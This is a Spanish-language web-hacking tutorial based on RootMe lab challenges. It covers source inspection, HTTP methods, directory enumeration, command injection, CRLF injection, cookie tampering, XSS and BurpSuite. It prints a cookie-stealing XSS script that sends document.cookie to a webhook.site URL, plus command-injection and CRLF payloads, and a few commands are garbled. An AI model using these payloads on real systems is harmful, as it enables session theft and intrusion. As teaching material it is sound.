🌐 Introducción al Hacking Web💻
En este documento, explicaremos los pasos básicos para realizar un hacking web y cómo utilizar herramientas como BurpSuite. Los ejemplos han sido tomados de la plataforma RootMe.
🕵️ Inspeccionar el Código
Fuente Uno de los primeros pasos en un análisis de seguridad web es inspeccionar el código fuente de la página. Algunos desarrolladores pueden dejar información sensible en los comentarios o en elementos del código que pueden ayudarnos a comprender el funcionamiento del sitio.
💡 Ejemplo
En algunos casos, podemos encontrar credenciales expuestas en los comentarios del código HTML.
📌 Paso a paso para inspeccionar el código en el navegador:
- Haz clic derecho en la página y selecciona "Ver código fuente de la página" o usa
Ctrl + Uen Windows /Cmd + Option + Uen Mac. - Busca comentarios (
<!-- -->) o elementos ocultos (display: none). - Si el contenido no es visible, copia el código y ábrelo en un editor de texto, como Notepad++ o VSCode.

En la imagen, podemos ver cómo una contraseña fue encontrada en un comentario oculto en el código fuente.
🌐 Métodos HTTP
Los métodos HTTP son instrucciones que el cliente (navegador, herramientas como curl, BurpSuite, etc.) usa para interactuar con un servidor web. Algunos métodos pueden exponer vulnerabilidades si no están bien configurados.
📌 Métodos HTTP más comunes:
| Método | Descripción | Riesgos de Seguridad |
|---|---|---|
| GET | Solicita un recurso sin modificarlo. | URLs con parámetros pueden exponer datos sensibles (inyección SQL, XSS, filtrado de información). |
| POST | Envía datos al servidor (formularios, autenticación). | Si no hay validación, puede usarse para inyección SQL, XSS o CSRF. |
| PUT | Sube/actualiza un recurso en el servidor. | Puede permitir la subida de archivos maliciosos si no hay control. |
| DELETE | Elimina un recurso del servidor. | Si está mal configurado, permite borrar información sin permisos adecuados. |
| OPTIONS | Muestra los métodos permitidos por el servidor. | Puede revelar qué métodos están habilitados, facilitando ataques. |
| HEAD | Igual que GET, pero solo devuelve los encabezados. | Puede usarse para recopilar información sobre el servidor. |
| TRACE | Devuelve la petición original para depuración. | Puede ser explotado en ataques Cross-Site Tracing (XST) para robar cookies. |
🛠️ Ejemplo Práctico: Extracción de Métodos HTTP
Podemos averiguar qué métodos HTTP admite un servidor con herramientas como curl, nmap o BurpSuite.
1️⃣ Con curl
curl -X OPTIONS -i http://example.com
Salida esperada:
HTTP/1.1 200 OK Allow: GET, POST, OPTIONS, PUT, DELETE
Si el servidor permite PUT o DELETE, puede ser vulnerable.
2️⃣ Uso de PUT para saltarse la autenticación
Si un servidor permite el método PUT sin una autenticación adecuada, podría ser vulnerable a ataques como el bypass de autenticación. Un ejemplo sería intentar interactuar con la URL de un recurso usando PUT en lugar de GET para modificar el estado de la página sin restricciones. Esto podría permitir a un atacante modificar datos o incluso saltarse el proceso de autenticación.
Ejemplo de un ataque básico para comprobar si un servidor permite PUT:

curl -X PUT 0

Encabezado
El encabezado de una página web puede contener información valiosa, como detalles del servidor, tecnologías utilizadas o incluso datos sensibles.
🔹 Cómo obtener el encabezado
Para visualizar el encabezado de una página web, podemos usar el siguiente comando en la terminal:
curl -I http://example.com
curl: herramienta para realizar peticiones HTTP.-I: indica que solo queremos obtener el encabezado de la respuesta.http://example.com: URL del sitio web objetivo.
💡Ejemplo con cabecera personalizada
En un caso específico, el sitio web mostraba un mensaje como Content is not the only part of an HTTP response! y solo aceptaba un valor de administrador (admin).
La cabecera personalizada era Header-RootMe-Again. Entonces, para interactuar con el servidor y obtener la respuesta correcta, enviamos el siguiente comando:
curl -i -H "Header-RootMe-Admin: admin" http://challenge01.root-me.org/web-serveur/ch5/

📡 Status Codes (Códigos de Estado HTTP)
Los códigos de estado HTTP son la forma en que el servidor indica al cliente cuál fue el resultado de su petición. Cada código pertenece a una clase, representada por el primer dígito:
| Clase | Descripción |
|---|---|
| 1xx | Proporciona información y no afecta el procesamiento de la petición. |
| 2xx | Indica que la petición fue exitosa. |
| 3xx | Señala que el cliente debe seguir una redirección. |
| 4xx | Errores relacionados con el cliente (peticiones inválidas o recursos inexistentes). |
| 5xx | Errores del servidor al procesar la petición. |
✅ Ejemplos comunes de Status Codes
| Código | Descripción |
|---|---|
| 200 OK | La petición fue exitosa y la respuesta contiene el recurso solicitado. |
| 302 Found | Redirige al cliente a otra URL (por ejemplo, después de un login exitoso). |
| 400 Bad Request | Petición malformada, como cuando faltan parámetros o terminadores de línea. |
| 403 Forbidden | El cliente no tiene permisos para acceder al recurso solicitado. |
| 404 Not Found | El recurso solicitado no existe en el servidor. |
| 500 Internal Server Error | El servidor encontró un error y no puede procesar la petición. |
🛠️ La herramienta WhatWeb
WhatWeb es una herramienta fantástica para obtener información rápida sobre las tecnologías que componen un sitio web, lo cual es esencial para el reconocimiento en pruebas de seguridad web. Permite descubrir servidores, CMS, frameworks, bibliotecas de JavaScript y mucho más, lo que puede facilitar la identificación de posibles vulnerabilidades.
🔍 Es muy importante saber qué tecnologías están detrás de una página web: su servidor, su versión, los frameworks utilizados, y más. WhatWeb nos proporciona exactamente esta información. Al identificar una versión específica de una tecnología, como un servidor web o un CMS, podemos determinar si esa versión tiene vulnerabilidades conocidas. Si la versión está desactualizada, esto nos abre la posibilidad de buscar exploits disponibles para esa versión.
🛠️ Ejemplo Práctico: Usar WhatWeb
1️⃣ Comando Básico
whatweb http://example.com
📂 Indexación de Directorios
Conocer la estructura de un sitio web es fundamental, ya que nos permite identificar archivos y directorios que podrían ser vulnerables o contener información sensible. Por ejemplo, podemos encontrar copias de seguridad de bases de datos, archivos sueltos o recursos no protegidos adecuadamente.
A veces, es fácil pasar por alto ciertos directorios o archivos que no son visibles a simple vista. Para esto, existen herramientas que nos permiten hacer un escaneo exhaustivo y descubrir recursos ocultos en el servidor.
🔹 Herramientas útiles para la indexación de directorios
- Gobuster: Herramienta que permite realizar ataques de diccionario para descubrir directorios y archivos ocultos en un servidor web.
💡 Ejemplo de uso de Gobuster:
gobuster dir -u http://example.com -w /ruta/a/tu/wordlist.txt
- FUZZ: Utiliza un enfoque similar a Gobuster, pero ofrece más opciones de personalización para los ataques de diccionario.
- Nmap: Aunque es principalmente una herramienta de escaneo de puertos, también tiene scripts que permiten detectar directorios y archivos ocultos en servidores web.
- wget: Aunque no es una herramienta de fuerza bruta, permite explorar archivos accesibles públicamente, descargar directorios completos y descubrir información útil en sitios mal configurados.
💡**Ejemplo de uso de wget **:
En algunos casos, los desarrolladores dejan archivos de respaldo en el servidor (por ejemplo, index.php~, config.php.bak, database.sql, etc.), lo que puede exponer credenciales o lógica sensible del sitio web.
Podemos utilizar wget para descargar archivos directamente si están accesibles públicamente:
wget challenge01.root-me.org/web-serveur/ch11/index.php~
Al revisar el contenido del archivo index.php~ con cat, encontramos credenciales en el código fuente:
$username="ch11";
$password="OCCY9AcNm1tj";
💉 Inyecciones
Las inyecciones son vulnerabilidades críticas donde un atacante inserta código malicioso a través de los datos de entrada de una aplicación web, ejecutándolo en el servidor o en el navegador. Esto puede permitir al atacante tomar control del sistema, robar información o ejecutar comandos no autorizados.
⚡ Inyección de Comandos del sistema operativo
La inyección de comandos ocurre cuando una aplicación ejecuta comandos del sistema operativo sin verificar correctamente lo que el usuario envía. Esto permite que el atacante agregue comandos maliciosos que se ejecutarán en el servidor.
💡Ejemplo
Imaginemos una web que permite hacer ping a una dirección IP. Si no valida correctamente la entrada, un atacante podría inyectar otros comandos maliciosos como:
127.0.0.1; cat .passwd
En este caso, el atacante está añadiendo ; cat .passwd al final de la IP, lo que ejecutaría el comando ping seguido de la lectura del archivo cat .passwd, exponiendo información sensible (¡como contraseñas o un flag en el archivo!).

📝 CRLF Injection: Manipulación de Respuestas HTTP
El término CRLF (Carriage Return Line Feed) se refiere a los caracteres \r\n que se usan para indicar un salto de línea en protocolos como HTTP.
Una vulnerabilidad CRLF Injection ocurre cuando un atacante es capaz de inyectar estos caracteres en una cabecera HTTP, lo que le permite manipular la respuesta del servidor. Las consecuencias de esto pueden ser graves, ya que el atacante puede alterar las cabeceras HTTP, modificar logs, o incluso realizar un bypass de autenticación o sesión.
🔍 ¿Cómo ocurre CRLF Injection?
Si un sitio web no valida correctamente la entrada del usuario, un atacante podría inyectar un salto de línea (\r\n) en una URL. Esto provocaría que el servidor interprete la entrada como parte de una nueva cabecera HTTP.
http://example.com/redirect.php?url=profile.php%0D%0ASet-Cookie:%20sessionID=attacker
%0D%0Aes la codificación URL de\r\n(CRLF).Set-Cookie: sessionID=attackerintenta inyectar una nueva cabecera en la respuesta HTTP.
💡Ejemplo
Imagina que el sistema registra intentos de autenticación en un log visible. Si un atacante logra inyectar CRLF en el nombre de usuario, podría alterar el contenido del log y engañar al sistema para que parezca que un usuario ha sido autenticado cuando en realidad no lo ha sido.
En este ejemplo, si usamos la URL siguiente:
http://challenge01.root-me.org/web-serveur/ch14/?username=UsuarioFalso%20authenticated
Nos aparece

Si inyectamos un salto de línea con CRLF (%0D%0A), la URL quedaría así:
http://challenge01.root-me.org/web-serveur/ch14/?username=UsuarioFalso%20authenticated.%0D%0Apepito
¡Ahora parece que UsuarioFalso fue autenticado correctamente! Pero en realidad no lo fue. Esto demuestra cómo un atacante puede manipular los logs y hacer que parezca que un usuario ha sido autenticado sin serlo.

🍪 Seguridad en Cookies y Gestión de Sesiones
Las cookies almacenan información del usuario en su navegador, como sesiones de autenticación. Sin embargo, si no están bien configuradas, pueden ser explotadas por atacantes para robar sesiones, escalar privilegios o manipular datos.
🔓🍪Robo de cookies (Session Hijacking)
Si una cookie de sesión no tiene la bandera HttpOnly, un atacante puede robarla mediante un ataque XSS, lo que le permitiría suplantar la identidad del usuario.
Ejemplo de ataque XSS que roba cookies:**
-
💡Ejemplo de robar cookie

🔹 Paso 1: Revisar la cookie actual
Cuando intentamos acceder a los correos guardados, el sitio nos muestra un mensaje indicando problemas con las cookies. Esto sugiere que el nivel de acceso está siendo controlado por una cookie de sesión.
🔹 Paso 2: Modificar la cookie manualmente
Para cambiar nuestro nivel de acceso, abrimos las herramientas del desarrollador (F12 → Application → Cookies) y observamos que el valor de la cookie "ch7" es visiteur.


🔹 Paso 3: Acceso concedido 🚀
Después de modificar la cookie, volvemos a intentar acceder y esta vez nos permite ver los correos guardados.

💡Ejemplo de ataque XSS que roba cookies
El Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante ejecutar scripts maliciosos en el navegador de un usuario, lo que puede tener serias implicaciones de seguridad. Uno de los riesgos más comunes de XSS es el robo de cookies, que puede usarse para suplantar la identidad de un usuario o acceder a su sesión.
Un sitio web vulnerable permite a un atacante inyectar código JavaScript en una página web. En este caso, utilizamos un sencillo ejemplo de XSS:
<script>alert("XSS Vulnerability")</script>
Este código simplemente muestra una alerta, pero indica que el sitio tiene una vulnerabilidad XSS donde podemos inyectar código.

En este caso, el script que se ejecuta en el navegador de la víctima roba la cookie de sesión (almacenada en document.cookie) y la envía a una URL de un WebHook (un servicio para recibir y registrar información)
<script>
var img = new Image();
img.src = "https://webhook.site/df4230e8-d76b-45aa-a2da-34e780317da0?cookie=" + document.cookie;
</script>
document.cookie: Obtiene la cookie del usuario (que puede contener información sensible como la sesión).img.src: Crea una imagen con una URL que apunta a un servidor de Webhook, pasando la cookie como parámetro en la URL. Esto envía la cookie robada al servidor del atacante.

🛠️ BurpSuite: Interceptar y Manipular Peticiones Web
BurpSuite es una herramienta potente que nos permite interceptar, manipular y analizar las peticiones HTTP/HTTPS entre el navegador y el servidor. Es fundamental en las pruebas de seguridad web, ya que nos da control total sobre las comunicaciones entre el cliente y el servidor.
🔹 Iniciar BurpSuite y Configuración del Proxy
-
Iniciar BurpSuite:
Una vez que abras BurpSuite, dirígete a la sección Proxy y luego a Options. Aquí podrás ver el puerto por defecto en el que BurpSuite está escuchando (generalmente el puerto8080).
-
Configurar el navegador para usar el proxy:
En tu navegador Firefox, ve a Ajustes y selecciona Configuración de Conexión. En esta sección, deberás configurar el proxy para que apunte a la dirección y puerto en el que BurpSuite está escuchando.
📌 Configuración del Proxy:
- Dirección del Proxy:
127.0.0.1(localhost) - Puerto: El mismo que aparece en BurpSuite (por defecto
8080).
Al configurar esto, todo el tráfico web de Firefox pasará por BurpSuite, lo que nos permitirá interceptar y analizar las peticiones.
- Dirección del Proxy:
💡 Ejemplo
En esta web, los jugadores deben generar un puntaje aleatorio al hacer clic en un botón. El formulario de la página utiliza JavaScript para generar un puntaje aleatorio y enviarlo al servidor como un valor oculto en el campo score. El objetivo del juego es superar un puntaje de 999999, pero dado que el puntaje es generado aleatoriamente y no hay una validación real, podemos manipular este valor usando BurpSuite para engañar al servidor y ganar el juego fácilmente.

- Iniciar Interceptación:
Primero, abrimos BurpSuite y activamos la interceptación haciendo clic en Intercept Off para habilitarla. Luego, accedemos a la página y generamos un POST al hacer clic en el botón del formulario.

- Enviar la Solicitud a Repeater:
Una vez interceptada la solicitud, hacemos clic derecho sobre ella y seleccionamos Send to Repeater. Luego vamos a la sección Repeater en BurpSuite.

- Modificar el Puntaje:
Ahora, podemos modificar el valor descoreen la solicitud y pulsar el botón Send para enviar la solicitud modificada al servidor. Al modificar el puntaje y enviarlo, el servidor recibe el nuevo valor y nos permite superar el puntaje más alto del juego.
